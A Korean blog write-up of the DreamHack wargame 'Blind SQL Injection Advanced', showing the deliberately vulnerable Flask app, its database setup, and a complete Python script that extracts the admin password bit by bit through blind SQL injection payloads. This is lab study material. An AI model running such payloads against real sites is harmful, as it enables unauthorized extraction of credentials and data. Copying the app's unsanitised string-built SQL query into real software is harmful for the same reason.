[Web Hacking] DH Blind SQL Injection Advanced

KyungH·2024년 12월 15일

Web Hacking War Game

목록 보기
16/17
post-thumbnail

📝Problem - Blind SQL Injection Advanced

가장 먼저 문제 지문에서 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.
를 확인해볼 수 있다.

app.py 파일

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

/ 경로에 GET 메소드로 uid 파라미터를 통해 이용자 입력을 전달받는다. 이후 전달받은
입력은 별도의 필터링없이 mysql 쿼리에 사용되므로 SQL Injection 취약점이 발생한다.

쿼리의 실행 결과를 그대로 출력해주지 않고, 쿼리 성공 여부만 알 수 있기 때문
Blind SQL Injection 공격을 이용해야 한다.

init.sql 파일

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

user_db 데이터베이스를 utf-8 언어 셋으로 생성하며, 테이블에는 초기 세 개의 row를
초기화한다. admin 계정의 패스워드가 플래그임을 알 수 있다.


📌Approach

utf-8 언어셋에서 한글은 경우의 수가 너무 많이 존재하므로
기존 브루트포싱을 통해선 추출 시간이 너무 오래 걸리고, 방화벽에 탐지될 가능성이 높다.

따라서 이전에 배웠던 비트연산을 이용한 공격을 활용해야 한다.

SQL Injection 테스트

{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}

템플릿에서 row 가 1개여야 하는 조건을 만족시켜야 하므로 단순히 ' or 1=1-- 이 아닌
' or 1=1 limit 0,1-- 을 사용해야 한다. limit을 사용하지 않을 경우 세 개의 row가
반환되어 참/거짓을 구분할 수 있는 문장을 확인할 수 없다.

비트연산

본격적인 비트연산을 통해 SQL Injection 공격을 수행하기에 앞서
우리가 필요한 정보는 다음과 같다.

1. admin 패스워드 길이 찾기

2. 각 문자 별 비트열 길이 찾기 (한글인지 아스키코드인지 모르기 때문)

3. 각 문자 별 비트열 추출 (아스키코드 최대 8번, 한글 최대 24번)

4. 비트열을 문자로 변환

익스플로잇은 파이썬의 request 모듈을 통해 웹 요청을 보내는 코드를 작성한다.


📌Solution

1. admin 패스워트 길이 찾기

MySQL에서 데이터의 길이를 알아내기 위해 length 함수를 사용하였다. 이 함수는
문자열을 bytes 형태로 표현하였을 때의 길이를 반환하므로, 인코딩에 관계없이
전체 문자열을 표현하는데에 사용
되는 바이트의 수 를 반환한다.

현재 문자열이 아스키코드로만 구성되어있지 않으므로 char_length 함수를 사용한다.

함수반환 단위예: 'abc'예: '가나다' (UTF-8)
LENGTH바이트 수39 (한글 1글자 = 3바이트)
CHAR_LENGTH문자 수33 (한글 1글자 = 1문자)

request 모듈을 이용하여 코드를 작성하면 다음과 같다.

from requests import get

host = "http://localhost:5000"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

uid 파라미터에 upw의 길이를 비교하는 쿼리를 이용하여
문자열 "exists"를 통해 참/거짓 여부를 판단하면서 upw의 길이를 확인할 수 있다.

2. 각 문자 별 비트열 길이 찾기

패스워드 각각의 문자가 한글인지 아스키코드인지 알 수 없으므로,
비트열로 변환하기 전에 각 비트열의 길이를 찾아야 한다.

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

총 패스워드 길이 만큼 반복하며, 각 글자의 비트길이를 찾는다.
length 함수를 사용한 이유는 bin 함수로 인해 반환된 값이 이진수로, 모두 01
이루어져있기 때문에 사용해도 무방하다.

3. 각 문자 별 비트열 추출

각 문자별 비트열 길이를 알았으므로, 각 문자별 비트열을 모두 추출해야 한다.
한 문자의 비트열 길이를 구하면, 그 비트열 길이 만큼 반복하여
한 문자의 비트열을 알아낸다.

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

4. 비트열을 문자로 변환

최종적으로 추출한 비트열을 다시 문자로 변환한다.
의 경우 utf-8로 인코딩하였을때 \xea\xb0\x80으로 표현되며 이는 비트열로
111010101011000010000000가 된다. 이를 다시 문자로 변경하기 위해서는

  1. 비트열을 정수로 변환
  2. 정수를 Big Endian 형태의 문자로 변환
  3. 변환된 문자를 인코딩에 맞게 변환

비트열을 정수로 변환하기 위해 int 클래스를 사용하고, Big Endian 형태는
int.to_bytes 함수를 사용한다. 문자를 인코딩에 맞게 변환은 bytes.decode을 사용한다.

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

전체 코드

from requests import get

host = "http://localhost:5000"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")

    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

이렇게 아스키코드를 벗어나는 다른 인코딩의 문자가 포함되어있을 시,
효율적인 공격이 필요하다. 문자를 순차적으로 브루트포싱 했으면 한 글자를 추출하는 데
약 11,712번의 요청일 필요했으나, 비트 연산을 이용하여 24번의 요청으로 추출하였다.


References

DreamHack 강의 - [WHA-S] Exercise: Blind SQL Injection Advanced

0개의 댓글